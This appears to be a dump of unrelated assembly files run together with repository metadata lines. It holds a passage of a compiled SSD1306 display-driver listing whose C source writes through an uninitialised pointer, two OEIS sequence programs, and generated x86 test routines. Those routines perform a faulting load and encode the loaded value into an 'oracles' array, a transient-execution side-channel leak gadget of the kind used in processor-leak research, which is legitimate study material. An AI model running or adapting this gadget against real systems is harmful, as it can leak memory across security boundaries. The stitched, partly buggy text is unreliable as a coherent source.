0778 0000BCA0 mov pc,lr 722 .LFE15 723 .data 724 .balign 4 725 .LC0 726 0000 2578200A .ascii "%x \12\0" 726 00 727 0005 000000 .text 728 .balign 4 729 .global _SSD1306_writeChar 730 _SSD1306_writeChar 731 .LFB16 238:SSD1306.c **** 239:SSD1306.c **** void SSD1306_writeChar(char x, char y, char ch) 240:SSD1306.c **** { 732 .loc 1 240 0 733 .LVL37 734 077c 8800FCA0 mov __TMP0,#(8<<4)+8 735 0780 0000FC5C call #__LMM_PUSHM 736 .LCFI14 737 0784 1000FC84 sub sp, #16 738 .LCFI15 739 .LVL38 241:SSD1306.c **** unsigned long *base; 242:SSD1306.c **** int offset; 243:SSD1306.c **** long v; 244:SSD1306.c **** 245:SSD1306.c **** offset = ch & 0xfe; // Two characters per location 740 .loc 1 245 0 741 0788 0000BCA0 mov r7, r2 742 078c FE00FC60 and r7, #254 246:SSD1306.c **** *base = 0x8000 + (offset << 6); // jump to character position 743 .loc 1 246 0 744 0790 00007C5C mvi r6,#32768 744 00800000 745 0798 0600FC2C shl r7, #6 746 079c 0000BC80 add r7, r6 747 07a0 0000FCA0 mov r11, #0 247:SSD1306.c **** 248:SSD1306.c **** print("%x \n", *base); 748 .loc 1 248 0 749 07a4 00007C5C mvi r6,#.LC0 749 00000000 750 07ac 0000BCA0 mov r12, sp 751 07b0 0400FC80 add r12, #4 240:SSD1306.c **** { 752 .loc 1 240 0 753 07b4 0000BCA0 mov r14, r2 754 07b8 0000BCA0 mov r9, r0 755 07bc 0000BCA0 mov r10, r1 756 .LBB8 249:SSD1306.c **** offset = 0; 250:SSD1306.c **** for (int i=0;i<32;i++) 251:SSD1306.c **** { 252:SSD1306.c **** v = base[offset++]; 253:SSD1306.c **** print("%x \n", v); 254:SSD1306.c **** if (ch & 0x01) 757 .loc 1 254 0 758 07c0 0000BCA0 mov r8, r14 759 .LBE8 250:SSD1306.c **** for (int i=0;i<32;i++) 760 .loc 1 250 0 761 07c4 0000FCA0 mov r13, #0 762 .LBB12 763 .loc 1 254 0 764 07c8 0100FC60 and r8, #1 765 .LBE12 246:SSD1306.c **** *base = 0x8000 + (offset << 6); // jump to character position 766 .loc 1 246 0 767 07cc 00003C08 wrlong r7, r11 248:SSD1306.c **** print("%x \n", *base); 768 .loc 1 248 0 769 07d0 00003C08 wrlong r6, sp 770 07d4 00003C08 wrlong r7, r12 771 07d8 00007C5C lcall #_print 771 00000000 772 .LVL39 773 .LBB13 253:SSD1306.c **** print("%x \n", v); 774 .loc 1 253 0 775 07e0 0800FCA0 mov r7, #8 776 07e4 0000BC80 add r7, sp 777 07e8 00003C08 wrlong r12, r7 778 .LVL40 779 .L40 780 07ec 00007C5C mvi r6,#.LC0 780 00000000 781 07f4 0800FCA0 mov r7, #8 782 07f8 0000BC80 add r7, sp 783 .LBE13 250:SSD1306.c **** for (int i=0;i<32;i++) 784 .loc 1 250 0 785 07fc 0000FCA0 mov r12, #0 786 .LBB14 252:SSD1306.c **** v = base[offset++]; 787 .loc 1 252 0 788 0800 0000BC08 rdlong r14, r11 789 .LVL41 253:SSD1306.c **** print("%x \n", v); 790 .loc 1 253 0 791 0804 00003C08 wrlong r6, sp 792 0808 0000BC08 rdlong r7, r7 793 080c 00003C08 wrlong r14, r7 794 0810 00007C5C lcall #_print 794 00000000 795 .LVL42 796 .LBB9 239:SSD1306.c **** void SSD1306_writeChar(char x, char y, char ch) 797 .loc 1 239 0 798 0818 0000BCA0 mov r6, r10 799 .LBE9 800 .loc 1 254 0 801 081c 00007CC3 cmps r8, #0 wz,wc 802 .LBB10 239:SSD1306.c **** void SSD1306_writeChar(char x, char y, char ch) 803 .loc 1 239 0 804 0820 0000BC80 add r6, r13 805 .LBE10 255:SSD1306.c **** v = v >>1; 806 .loc 1 255 0 807 0824 0100D438 IF_NE sar r14, #1 808 .LVL43 809 .LBB11 256:SSD1306.c **** 257:SSD1306.c **** for (int j=0;j<16;j++) 258:SSD1306.c **** { 259:SSD1306.c **** if (v & 0x01) 260:SSD1306.c **** SSD1306_setPoint(x+j, y+i); 810 .loc 1 260 0 811 0828 FF00FC60 and r6,#255 812 .LVL44 813 .L39 259:SSD1306.c **** if (v & 0x01) 814 .loc 1 259 0 815 082c 01007C62 test r14,#0x1 wz 816 0830 3400E880 IF_E brs #.L38 239:SSD1306.c **** void SSD1306_writeChar(char x, char y, char ch) 817 .loc 1 239 0 818 0834 0000BCA0 mov r7, r9 819 0838 0000BC80 add r7, r12 820 .loc 1 260 0 821 083c FF00FC60 and r7,#255 822 0840 0000BCA0 mov r0, r7 823 0844 0C00FCA0 mov r7, #12 824 0848 0000BC80 add r7, sp 825 084c 0000BCA0 mov r1, r6 826 0850 00003C08 wrlong r6, r7 827 0854 00007C5C lcall #_SSD1306_setPoint 827 00000000 828 085c 0C00FCA0 mov r7, #12 829 0860 0000BC80 add r7, sp 830 0864 0000BC08 rdlong r6, r7 831 .L38 257:SSD1306.c **** for (int j=0;j<16;j++) 832 .loc 1 257 0 833 0868 0100FC80 add r12, #1 834 086c 10007CC3 cmps r12, #16 wz,wc 261:SSD1306.c **** v = v >> 2; 835 .loc 1 261 0 836 0870 0200FC38 sar r14, #2 837 .LVL45 257:SSD1306.c **** for (int j=0;j<16;j++) 838 .loc 1 257 0 839 0874 4C00D484 IF_NE brs #.L39 840 .LBE11 250:SSD1306.c **** for (int i=0;i<32;i++) 841 .loc 1 250 0 842 0878 0100FC80 add r13, #1 843 .LVL46 844 087c 20007CC3 cmps r13, #32 wz,wc 845 0880 0400FC80 add r11, #4 846 0884 9C00D484 IF_NE brs #.L40 847 .LBE14 262:SSD1306.c **** } 263:SSD1306.c **** } 264:SSD1306.c **** } 848 .loc 1 264 0 849 0888 1000FC80 add sp, #16 850 088c 8F00FCA0 mov __TMP0,#(8<<4)+15 851 0890 0000FC5C call #__LMM_POPRET 852 '' never returns 853 .LFE16 854 .comm __Buffer,1024,4 855 .comm __Height,4,4 856 .comm __Width,4,4 857 .comm __Auto,4,4 858 .comm __RST,4,4 859 .comm __SCL,4,4 860 .comm __SDA,4,4 861 .comm __DC,4,4 862 .comm __CS,4,4 1156 .Letext0 1157 .file 2 "D:/Documents/SimpleIDE/Learn/Simple Libraries/TextDevices/libsimpletext/simpletext.h" DEFINED SYMBOLS C:\Users\mbmis006\AppData\Local\Temp\cckJNgaY.s:5 .text:00000000 _SSD1306_write C:\Users\mbmis006\AppData\Local\Temp\cckJNgaY.s:10 .text:00000000 L0 *COM*:00000004 __CS *COM*:00000004 __SDA *COM*:00000004 __SCL C:\Users\mbmis006\AppData\Local\Temp\cckJNgaY.s:41 .text:00000064 _SSD1306_cmd *COM*:00000004 __DC C:\Users\mbmis006\AppData\Local\Temp\cckJNgaY.s:69 .text:000000a4 _SSD1306_invert C:\Users\mbmis006\AppData\Local\Temp\cckJNgaY.s:92 .text:000000cc _SSD1306_auto *COM*:00000004 __Auto C:\Users\mbmis006\AppData\Local\Temp\cckJNgaY.s:104 .text:000000dc _SSD1306_update *COM*:00000004 __Width *COM*:00000004 __Height *COM*:00000400 __Buffer C:\Users\mbmis006\AppData\Local\Temp\cckJNgaY.s:207 .text:000001cc _SSD1306_cls C:\Users\mbmis006\AppData\Local\Temp\cckJNgaY.s:228 .text:00000204 _SSD1306_init *COM*:00000004 __RST C:\Users\mbmis006\AppData\Local\Temp\cckJNgaY.s:424 .text:0000048c _SSD1306_getBuffer C:\Users\mbmis006\AppData\Local\Temp\cckJNgaY.s:433 .text:00000498 _SSD1306_scrollRight C:\Users\mbmis006\AppData\Local\Temp\cckJNgaY.s:485 .text:0000052c _SSD1306_scrollLeft C:\Users\mbmis006\AppData\Local\Temp\cckJNgaY.s:537 .text:000005c0 _SSD1306_scrollDiagRight C:\Users\mbmis006\AppData\Local\Temp\cckJNgaY.s:587 .text:0000064c _SSD1306_scrollDiagLeft C:\Users\mbmis006\AppData\Local\Temp\cckJNgaY.s:636 .text:000006d4 _SSD1306_scrollStop C:\Users\mbmis006\AppData\Local\Temp\cckJNgaY.s:653 .text:000006f4 _SSD1306_setPoint C:\Users\mbmis006\AppData\Local\Temp\cckJNgaY.s:689 .text:00000738 _SSD1306_clearPoint C:\Users\mbmis006\AppData\Local\Temp\cckJNgaY.s:730 .text:0000077c _SSD1306_writeChar .data:00000000 .LC0 .debug_frame:00000000 .Lframe0 .text:00000000 .LFB2 .text:00000064 .LFB3 .text:000000a4 .LFB4 .text:000000cc .LFB5 .text:000000dc .LFB6 .text:000001cc .LFB7 .text:00000204 .LFB1 .text:0000048c .LFB8 .text:00000498 .LFB9 .text:0000052c .LFB10 .text:000005c0 .LFB11 .text:0000064c .LFB12 .text:000006d4 .LFB13 .text:000006f4 .LFB14 .text:00000738 .LFB15 .text:0000077c .LFB16 .debug_abbrev:00000000 .Ldebug_abbrev0 .text:00000000 .Ltext0 .text:00000894 .Letext0 .debug_line:00000000 .Ldebug_line0 .text:00000064 .LFE2 .debug_loc:00000000 .LLST0 .debug_loc:00000020 .LLST1 .text:000000a4 .LFE3 .debug_loc:00000033 .LLST2 .debug_loc:00000053 .LLST3 .text:000000cc .LFE4 .debug_loc:00000066 .LLST4 .debug_loc:00000086 .LLST5 .text:000000dc .LFE5 .text:000001cc .LFE6 .debug_loc:00000099 .LLST6 .debug_loc:000000b9 .LLST7 .debug_ranges:00000000 .Ldebug_ranges0 .debug_loc:000000f9 .LLST8 .debug_loc:00000118 .LLST9 .text:00000204 .LFE7 .debug_loc:00000136 .LLST10 .text:0000048c .LFE1 .debug_loc:00000156 .LLST11 .debug_loc:00000176 .LLST12 .debug_loc:00000198 .LLST13 .debug_loc:000001ab .LLST14 .debug_loc:000001be .LLST15 .debug_loc:000001d1 .LLST16 .debug_loc:000001e4 .LLST17 .text:00000498 .LFE8 .text:0000052c .LFE9 .debug_loc:00000202 .LLST18 .debug_loc:00000222 .LLST19 .debug_loc:00000235 .LLST20 .debug_loc:00000248 .LLST21 .text:000005c0 .LFE10 .debug_loc:0000025b .LLST22 .debug_loc:0000027b .LLST23 .debug_loc:0000028e .LLST24 .debug_loc:000002a1 .LLST25 .text:0000064c .LFE11 .debug_loc:000002b4 .LLST26 .debug_loc:000002d4 .LLST27 .debug_loc:000002e7 .LLST28 .debug_loc:000002fa .LLST29 .text:000006d4 .LFE12 .debug_loc:0000030d .LLST30 .debug_loc:0000032d .LLST31 .debug_loc:00000340 .LLST32 .debug_loc:00000353 .LLST33 .text:000006f4 .LFE13 .debug_loc:00000366 .LLST34 .text:00000738 .LFE14 .debug_loc:00000386 .LLST35 .debug_loc:00000399 .LLST36 .debug_loc:000003b6 .LLST37 .text:0000077c .LFE15 .debug_loc:000003d8 .LLST38 .debug_loc:000003eb .LLST39 .debug_loc:00000408 .LLST40 .text:00000894 .LFE16 .debug_loc:0000042a .LLST41 .debug_loc:00000456 .LLST42 .debug_loc:00000469 .LLST43 .debug_loc:0000047c .LLST44 .debug_loc:0000048f .LLST45 .debug_loc:000004c3 .LLST46 .debug_loc:000004e2 .LLST47 .debug_loc:00000501 .LLST48 .debug_info:00000000 .Ldebug_info0 UNDEFINED SYMBOLS __TMP0 __LMM_PUSHM __LMM_PUSHM_ret __LMM_MVI_r14 r13 r0 r14 __LMM_CALL _low __LMM_MVI_r7 __LMM_MVI_r6 r2 r3 r4 r7 r1 r6 _shift_out _high __LMM_POPRET __LMM_POPRET_ret sp lr pc r12 __LMM_MVI_r10 __LMM_MVI_r11 r9 r11 __DIVSI __DIVSI_ret r10 __LMM_MVI_r9 __LMM_MVI_r2 __LMM_MVI_r0 _memset r5 __LMM_MVI_r12 _pause r8 _print
36.25426
115
0.539025
0b3d131c3ed74ecfc2f2106e6113f2d83935f2a5
393
asm
Assembly
programs/oeis/332/A332190.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/332/A332190.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/332/A332190.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A332190: a(n) = 10^(2n+1) - 1 - 9*10^n. ; 0,909,99099,9990999,999909999,99999099999,9999990999999,999999909999999,99999999099999999,9999999990999999999,999999999909999999999,99999999999099999999999,9999999999990999999999999,999999999999909999999999999,99999999999999099999999999999,9999999999999990999999999999999 add $0,1 mov $1,10 pow $1,$0 sub $1,4 bin $1,2 sub $1,15 div $1,5 mov $0,$1
32.75
273
0.806616
2e0b4798a1008ddbde2f04a1369e8c9b4abaaff7
7,270
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_1925.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_1925.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_1925.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r13 push %r15 push %rax push %rbp push %rcx push %rdi push %rdx push %rsi lea addresses_WT_ht+0x1e784, %rdx nop nop nop nop nop xor %rax, %rax mov $0x6162636465666768, %rdi movq %rdi, %xmm5 vmovups %ymm5, (%rdx) add $58239, %rbp lea addresses_A_ht+0x174, %rsi lea addresses_A_ht+0x11348, %rdi nop nop nop nop nop dec %rbp mov $80, %rcx rep movsl nop nop nop nop nop dec %rdi lea addresses_UC_ht+0x11464, %rcx inc %r15 movups (%rcx), %xmm0 vpextrq $1, %xmm0, %rbp nop nop nop sub $55440, %rsi lea addresses_UC_ht+0x16692, %rsi lea addresses_UC_ht+0xbd0a, %rdi nop nop nop nop nop xor $54441, %r13 mov $80, %rcx rep movsq nop nop add %rdx, %rdx lea addresses_normal_ht+0x121e2, %rsi lea addresses_WT_ht+0x652a, %rdi nop nop nop nop sub %rbp, %rbp mov $119, %rcx rep movsl nop add $28291, %r13 lea addresses_WC_ht+0x4884, %rsi lea addresses_WT_ht+0xf284, %rdi nop nop and %rax, %rax mov $27, %rcx rep movsw nop nop dec %rdx lea addresses_WC_ht+0xa7c4, %rsi lea addresses_WT_ht+0x484, %rdi nop nop nop nop add $58924, %rax mov $46, %rcx rep movsb nop and $53976, %rax lea addresses_A_ht+0x7e84, %rbp clflush (%rbp) nop cmp %rsi, %rsi movb (%rbp), %dl nop nop nop nop xor $32700, %rsi pop %rsi pop %rdx pop %rdi pop %rcx pop %rbp pop %rax pop %r15 pop %r13 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r14 push %r9 push %rdi push %rdx push %rsi // Store lea addresses_RW+0x19e14, %r9 nop nop nop nop cmp %r10, %r10 movw $0x5152, (%r9) inc %r14 // Store lea addresses_WC+0x664, %rdx nop nop nop sub $54859, %r11 movl $0x51525354, (%rdx) nop nop nop nop xor %rdx, %rdx // Store lea addresses_normal+0xd632, %rdx nop nop nop and %rdi, %rdi movb $0x51, (%rdx) nop inc %r11 // Store mov $0x1e3de700000007c4, %rdi nop cmp %r11, %r11 mov $0x5152535455565758, %r9 movq %r9, (%rdi) nop inc %r14 // Store lea addresses_US+0xa65c, %rdi nop nop nop nop nop and $38560, %r11 movl $0x51525354, (%rdi) nop cmp $40702, %r10 // Faulty Load lea addresses_D+0x19484, %r14 clflush (%r14) nop inc %r9 mov (%r14), %rsi lea oracles, %rdx and $0xff, %rsi shlq $12, %rsi mov (%rdx,%rsi,1), %rsi pop %rsi pop %rdx pop %rdi pop %r9 pop %r14 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_D', 'AVXalign': False, 'size': 8, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'type': 'addresses_RW', 'AVXalign': False, 'size': 2, 'NT': True, 'same': False, 'congruent': 3}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 4}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 0}} {'OP': 'STOR', 'dst': {'type': 'addresses_NC', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 6}} {'OP': 'STOR', 'dst': {'type': 'addresses_US', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 1}} [Faulty Load] {'src': {'type': 'addresses_D', 'AVXalign': False, 'size': 8, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 7}} {'src': {'type': 'addresses_A_ht', 'congruent': 3, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_A_ht', 'congruent': 2, 'same': False}} {'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 5}, 'OP': 'LOAD'} {'src': {'type': 'addresses_UC_ht', 'congruent': 1, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 1, 'same': False}} {'src': {'type': 'addresses_normal_ht', 'congruent': 1, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 1, 'same': True}} {'src': {'type': 'addresses_WC_ht', 'congruent': 4, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 8, 'same': False}} {'src': {'type': 'addresses_WC_ht', 'congruent': 6, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 9, 'same': False}} {'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 9}, 'OP': 'LOAD'} {'36': 21829} 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 */
33.502304
2,999
0.656534
1d97cb57ee7536fc7b978f6e7768f8e5d787b533
278
asm
Assembly
programs/oeis/047/A047852.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/047/A047852.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/047/A047852.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A047852: a(n) = T(4,n), array T given by A047848. ; 1,2,9,58,401,2802,19609,137258,960801,6725602,47079209,329554458,2306881201,16148168402,113037178809,791260251658,5538821761601,38771752331202,271402266318409,1899815864228858 mov $1,7 pow $1,$0 div $1,6 add $1,1 mov $0,$1
30.888889
177
0.766187
46a59e284ad7e2eec1314976bb775c55da327077
860
asm
Assembly
programs/oeis/282/A282004.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/282/A282004.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/282/A282004.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A282004: Decimal representation of the x-axis, from the left edge to the origin, of the n-th stage of growth of the two-dimensional cellular automaton defined by "Rule 413", based on the 5-celled von Neumann neighborhood. ; 1,2,3,14,3,62,3,254,3,1022,3,4094,3,16382,3,65534,3,262142,3,1048574,3,4194302,3,16777214,3,67108862,3,268435454,3,1073741822,3,4294967294,3,17179869182,3,68719476734,3,274877906942,3,1099511627774,3,4398046511102,3,17592186044414,3,70368744177662,3,281474976710654,3,1125899906842622,3,4503599627370494,3 mov $5,$0 mov $7,2 lpb $7,1 clr $0,5 mov $0,$5 sub $7,1 add $0,$7 sub $0,1 add $3,2 pow $3,$0 lpb $3,1 add $4,$3 add $1,$4 mov $4,$3 div $3,4 lpe mul $1,2 mul $1,$4 mov $8,$7 lpb $8,1 mov $6,$1 sub $8,1 lpe lpe lpb $5,1 mov $5,0 sub $6,$1 lpe mov $1,$6 div $1,4 add $1,1
24.571429
307
0.669767
6bd4a705d2664edaa9a8d1ab067d942ee69bbe11
9,339
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_1577.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_1577.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_1577.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r11 push %r12 push %r8 push %r9 push %rbp push %rcx push %rdi push %rdx push %rsi lea addresses_WT_ht+0x479, %rdx and %r9, %r9 mov $0x6162636465666768, %r12 movq %r12, (%rdx) nop nop cmp $6498, %r11 lea addresses_WC_ht+0x10435, %r10 nop nop nop nop nop add %rbp, %rbp movl $0x61626364, (%r10) nop nop nop nop nop cmp %r8, %r8 lea addresses_D_ht+0xa035, %rsi lea addresses_UC_ht+0x878b, %rdi inc %rbp mov $45, %rcx rep movsw nop nop nop cmp $6529, %r12 lea addresses_D_ht+0x2735, %r12 add %rdx, %rdx vmovups (%r12), %ymm6 vextracti128 $1, %ymm6, %xmm6 vpextrq $1, %xmm6, %rcx nop nop nop add %r10, %r10 lea addresses_D_ht+0x1d235, %rsi nop nop nop nop add $720, %rdx mov (%rsi), %r10w nop nop nop nop cmp %rdi, %rdi lea addresses_A_ht+0x12635, %rsi cmp $12656, %r9 movl $0x61626364, (%rsi) nop nop nop cmp $11744, %rdx lea addresses_normal_ht+0x141db, %r11 nop xor $41288, %rdx mov $0x6162636465666768, %r10 movq %r10, (%r11) nop nop nop nop nop and %r9, %r9 lea addresses_WC_ht+0x255, %rsi lea addresses_D_ht+0x13675, %rdi nop nop nop nop and %r11, %r11 mov $2, %rcx rep movsb nop nop nop nop nop add %r8, %r8 lea addresses_WC_ht+0x88b5, %rsi clflush (%rsi) nop nop nop nop nop xor $1181, %r12 mov (%rsi), %r11 nop dec %rbp lea addresses_WC_ht+0x9355, %r9 nop nop nop nop xor $49704, %r12 movups (%r9), %xmm7 vpextrq $0, %xmm7, %r10 nop nop nop and $45147, %r8 lea addresses_normal_ht+0xf387, %r11 nop nop nop xor $44388, %rbp mov $0x6162636465666768, %rcx movq %rcx, %xmm0 and $0xffffffffffffffc0, %r11 movaps %xmm0, (%r11) nop xor $42245, %rbp lea addresses_D_ht+0x8835, %rcx nop nop xor $23089, %rdi movw $0x6162, (%rcx) nop nop nop inc %rcx lea addresses_normal_ht+0x5ab, %rsi nop nop and $37632, %r9 mov (%rsi), %rdi nop nop inc %r12 lea addresses_A_ht+0x1ec35, %rbp nop nop sub $64512, %r9 mov $0x6162636465666768, %rdx movq %rdx, %xmm4 movups %xmm4, (%rbp) nop nop nop nop nop add %rcx, %rcx pop %rsi pop %rdx pop %rdi pop %rcx pop %rbp pop %r9 pop %r8 pop %r12 pop %r11 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r15 push %r8 push %r9 push %rbp push %rcx push %rdi push %rsi // Load lea addresses_A+0x1f335, %r15 nop nop nop nop sub $1302, %r8 vmovups (%r15), %ymm0 vextracti128 $1, %ymm0, %xmm0 vpextrq $1, %xmm0, %rsi inc %rbp // REPMOV lea addresses_D+0xc7b5, %rsi lea addresses_WT+0xbbf5, %rdi nop nop nop nop cmp $48399, %r9 mov $48, %rcx rep movsw nop nop nop nop sub %r15, %r15 // REPMOV lea addresses_UC+0x3035, %rsi mov $0x735, %rdi nop xor $21591, %r8 mov $25, %rcx rep movsq nop nop nop nop cmp $56950, %rdi // Store lea addresses_US+0xe9e5, %r9 nop nop nop dec %r10 mov $0x5152535455565758, %rcx movq %rcx, (%r9) nop add %r10, %r10 // Load lea addresses_RW+0x7935, %rdi nop nop nop nop nop xor %r8, %r8 mov (%rdi), %ecx nop nop nop and $4461, %r8 // Store mov $0x935, %r9 nop nop nop dec %rdi mov $0x5152535455565758, %rsi movq %rsi, (%r9) nop sub $32039, %rbp // Load lea addresses_D+0x1a835, %r15 nop nop and $32057, %rcx mov (%r15), %si sub $65434, %rdi // Faulty Load lea addresses_normal+0xe835, %r9 nop sub $22589, %r15 mov (%r9), %rcx lea oracles, %rdi and $0xff, %rcx shlq $12, %rcx mov (%rdi,%rcx,1), %rcx pop %rsi pop %rdi pop %rcx pop %rbp pop %r9 pop %r8 pop 